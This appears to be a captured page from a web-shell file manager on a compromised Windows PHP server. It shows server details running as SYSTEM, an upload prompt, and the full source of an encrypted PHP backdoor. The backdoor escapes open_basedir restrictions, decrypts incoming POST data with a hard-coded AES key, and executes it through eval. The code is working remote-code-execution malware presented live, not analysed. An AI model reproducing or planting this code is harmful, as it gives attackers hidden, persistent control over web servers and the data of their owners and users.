| Server IP : 45.152.65.97 / Your IP : 216.73.216.86 Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1p mod_fcgid/2.3.9a System : Windows NT C20260123164925 10.0 build 20348 (Windows Server 2016) AMD64 User : SYSTEM ( 0) PHP Version : 7.4.33 Disable Function : passthru,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,putenv,exec MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/wwwroot/shujupai.cn/data/ |
Upload File : |
<?php
@error_reporting(0);
$post=file_get_contents("php://input");
if(empty($post)){echo md5('@');exit;}
session_start();
if (@ini_get('open_basedir') && !isset($_SESSION['od_bypassed'])) {
$tmp = '70bf27495df1c0c8';
if (!@file_exists($tmp)) {@mkdir($tmp);}@chdir($tmp);
@ini_set('open_basedir', '..');
$fileName = @dirname($_SERVER['SCRIPT_FILENAME']);
$path = str_replace("\\", '/', $fileName);
$num = substr_count($path, '/') + 1;
$i = 0;
while ($i < $num) {@chdir('..');$i++;}
@ini_set('open_basedir', '/');
@rmdir($fileName . '/' . $tmp);
$_SESSION['od_bypassed'] = 1;
}
$_SESSION['k']="b706835de79a2b4e";
session_write_close();
if(!extension_loaded('openssl')) {
$t="base64_"."decode";$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$_SESSION['k'][$i+1&15];
}
} else {
$post=openssl_decrypt($post, "AES128", $_SESSION['k']);
}
$arr=explode('|',$post);$func=$arr[0];$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);